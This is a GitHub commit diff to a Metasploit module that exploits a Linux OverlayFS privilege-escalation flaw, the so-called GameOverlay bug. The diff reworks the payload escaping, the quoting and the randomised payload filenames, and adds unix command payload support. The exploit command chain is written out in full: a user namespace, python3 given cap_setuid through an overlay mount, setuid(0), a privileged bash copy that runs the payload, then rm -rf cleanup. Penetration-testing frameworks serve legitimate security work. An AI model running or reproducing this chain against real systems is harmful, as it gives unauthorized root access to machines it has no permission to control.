Skip to content

Commit 59229ee

Browse files
committed
Update payload name, fix payload escapes & quotation, add unix cmd support
1 parent 441a321 commit 59229ee

File tree

1 file changed

+15
-13
lines changed

1 file changed

+15
-13
lines changed

modules/exploits/linux/local/gameoverlay_privesc.rb

Lines changed: 15 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -29,7 +29,7 @@ def initialize(info = {})
2929
'bwatters-r7', # MsF Module
3030
'gardnerapp', # MsF Module
3131
],
32-
'Platform' => ['linux'],
32+
'Platform' => ['linux', 'unix'],
3333
'SessionTypes' => ['shell', 'meterpreter'],
3434
'DisclosureDate' => '2023-07-26',
3535
'References' => [
@@ -55,7 +55,7 @@ def initialize(info = {})
5555
'Arch' => ARCH_CMD,
5656
'Payload' =>
5757
{
58-
'BadChars' => "\x93\x94"
58+
'BadChars' => "\x22\x27"
5959
}
6060
}
6161
]
@@ -69,7 +69,7 @@ def initialize(info = {})
6969
)
7070
register_options [
7171
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
72-
OptString.new('PayloadFileName', [true, 'Name of payload', 'marv']),
72+
OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))])
7373
]
7474
end
7575

@@ -150,7 +150,7 @@ def exploit
150150
end
151151

152152
if target.arch.first == ARCH_CMD
153-
payload_cmd = "\\\"#{payload.encoded}\\\""
153+
payload_cmd = payload.encoded
154154
else
155155
pay_file = datastore['PayloadFilename']
156156
payload_path = "#{pay_dir}#{pay_file}"
@@ -164,22 +164,24 @@ def exploit
164164

165165
# Exploit overlayfs vuln
166166
# Build the command
167+
rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}"
167168

168169
exploit_cmd = 'unshare -rm sh -c "'
169170
exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; "
170171
exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; "
171172
exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && "
172-
exploit_cmd << "touch #{merge_dir}*; \" && "
173+
exploit_cmd << "touch #{merge_dir}*; "
173174
exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system("
174-
exploit_cmd << "\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && "
175-
exploit_cmd << "chmod +x #{payload_cmd} && " unless target.arch.first == ARCH_CMD
176-
exploit_cmd << "#{bash_copy} -p -c "
177-
exploit_cmd << payload_cmd
178-
exploit_cmd << ' && ' unless target.arch.first == ARCH_CMD
179-
exploit_cmd << " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}\")'"
180-
175+
exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && "
176+
if target.arch.first == ARCH_CMD
177+
payload_cmd.gsub!('\\\\\\', '\\\\\\\\')
178+
exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\""
179+
else
180+
exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}"
181+
end
182+
exploit_cmd << "\\\")'\""
181183
output = cmd_exec(exploit_cmd)
182-
print_status(output)
184+
vprint_status(output)
183185
end
184186

185187
end

0 commit comments

Comments
 (0)